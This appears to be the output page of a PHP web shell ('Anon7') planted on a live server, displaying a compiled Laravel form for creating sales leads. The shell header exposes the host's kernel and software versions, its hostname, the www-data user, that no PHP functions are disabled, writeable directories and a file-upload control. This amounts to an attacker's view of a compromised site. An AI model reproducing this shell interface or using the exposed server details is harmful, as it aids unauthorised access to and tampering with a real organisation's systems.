KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/leadai/leadai.co.in/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/leadai/leadai.co.in/storage/framework/views/a7e12f9f06a477a227434383ae5ac9c63f7e6fbb.php
<div class="modal fade" id="leadModal" tabindex="-1" aria-labelledby="leadModal" aria-hidden="true">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="" >Create Lead</h5>
                <button type="button" class="btn-close bg-blue text-white" data-bs-dismiss="modal" aria-label="Close"style='border:none;margin-right:10px;' >
                <i class="fa fa-times" aria-hidden="true"></i>
                </button>
            </div>

            <div class="modal-body">
                <form class="create-lead-form" action="<?php echo e(route('leads.store')); ?>" method="post">
                    <?php echo csrf_field(); ?>
                    <input type="hidden" name="stage_id" value="<?php echo e($stage->id??''); ?>">
                    <input type="hidden" name="pipeline_id" value="<?php echo e(\Auth::user()->default_pipeline); ?>">
                    <div class="row">



                        <div class="col-md-6">
                            <div class="form-group">
                                <label for="user_id">Employee</label>
                                <select class="form-control" id="user_id" required  placeholder="Select User" name="user_id">
                                    <option disabled selected>Select Employee</option>
                                    <?php if(isset($users)): ?>
                                        <?php $__currentLoopData = $users; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $user): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <option value="<?php echo e($user->id); ?>"><?php echo e($user->name); ?></option>
                                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                    <?php endif; ?>
                                </select>
                            </div>

                            <?php if($errors->has('user_id')): ?>
                                <div class="error"><?php echo e($errors->first('user_id')); ?></div>
                            <?php endif; ?>

                        </div>
                        <div class="col-md-6">
                            <div class="form-group">
                                <label for="name">Name</label>
                                <input type="text" name="name" required class="form-control" id="name"  placeholder="Enter Name">
                                <?php if($errors->has('name')): ?>
                                        <div class="error"><?php echo e($errors->first('name')); ?></div>
                                    <?php endif; ?>
                            </div>
                        </div>
                        <div class="col-md-6">
                            <div class="form-group">
                                <label for="email">Email </label>
                                <input type="email" name="email" required class="form-control" id="email" aria-describedby="emailHelp" placeholder="Enter email">

                                <?php if($errors->has('email')): ?>
                                <div class="error"><?php echo e($errors->first('email')); ?></div>
                            <?php endif; ?>

                            </div>
                        </div>

                        <div class="col-md-6">
                            <div class="form-group">
                                <label for="phone">City </label>
                                <input type="text" name="city" required class="form-control" id="city" aria-describedby="emailHelp" placeholder="Enter City">
                                <?php if($errors->has('city')): ?>
                                <div class="error"><?php echo e($errors->first('city')); ?></div>
                            <?php endif; ?>
                            </div>
                        </div>
                        <div class="col-md-6">
                            <div class="row px-3">
                                <div class="col-md-4 px-0">
                                    <label for="phone">Country Code </label>
                                    <select class="form-control" name="phonecode">
                                        <?php if(isset($country_codes)): ?>
                                        <?php $__currentLoopData = $country_codes; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $country_code): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <option value="<?php echo e($country_code->phonecode); ?>" <?php echo e(($country_code->phonecode == '91')?"selected":""); ?>><?php echo e($country_code->phonecode); ?></option>
                                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                        <?php endif; ?>
                                    </select>
                                </div>
                                <div class="col-md-8 px-0">
                                    <div class="form-group">
                                        <label for="phone">Phone </label>
                                        <input type="text" name="phone"  required class="form-control" id="phone" aria-describedby="emailHelp" placeholder="Enter phone">
                                    </div>
                                </div>
                            </div>
                        </div>


                        <div class="col-md-6">
                            <div class="form-group">
                                <label for="user_id">Course</label>
                                <select class="form-control" id="products" required  placeholder="Select products" name="products">
                                    <option>Select products</option>
                                    <?php if(isset($products_list)): ?>
                                        <?php $__currentLoopData = $products_list; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $products_li): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <option value="<?php echo e($products_li->id); ?>"><?php echo e($products_li->name); ?></option>
                                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                    <?php endif; ?>
                                </select>
                            </div>
                        </div>

                        <div class="col-md-6">
                            <div class="form-group">
                                <label for="user_id">Sources</label>
                                <select class="form-control" id="sources" required  placeholder="Select Sources" name="sources">
                                    <option>Select sources</option>
                                    <?php if(isset($sources)): ?>
                                        <?php $__currentLoopData = $sources; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $source): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <option value="<?php echo e($source->id); ?>"><?php echo e($source->name); ?></option>
                                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                    <?php endif; ?>
                                </select>
                            </div>
                        </div>

                        <div class="col-md-6">
                            <div class="form-group">
                                <label for="user_id">Branch</label>
                                <select class="form-control" id="branch_id" required  placeholder="Select Branch" name="branch_id">
                                    <option>Select Branch</option>
                                    <?php if(isset($branches)): ?>
                                        <?php $__currentLoopData = $branches; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $branch): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <option value="<?php echo e($branch->id); ?>"><?php echo e($branch->name); ?></option>
                                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                    <?php endif; ?>
                                </select>
                            </div>
                        </div>



                    </div>
                    <div class="d-flex justify-content-end">
                        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>&nbsp;
                        <button type="submit" class="btn btn-primary">Create</button>
                    </div>
                </form>

            </div>

        </div>
    </div>
    </div><?php /**PATH /var/www/leadai/admin.leadai.co.in/resources/views/leads/modal/create_modal.blade.php ENDPATH**/ ?>

Anon7 - 2021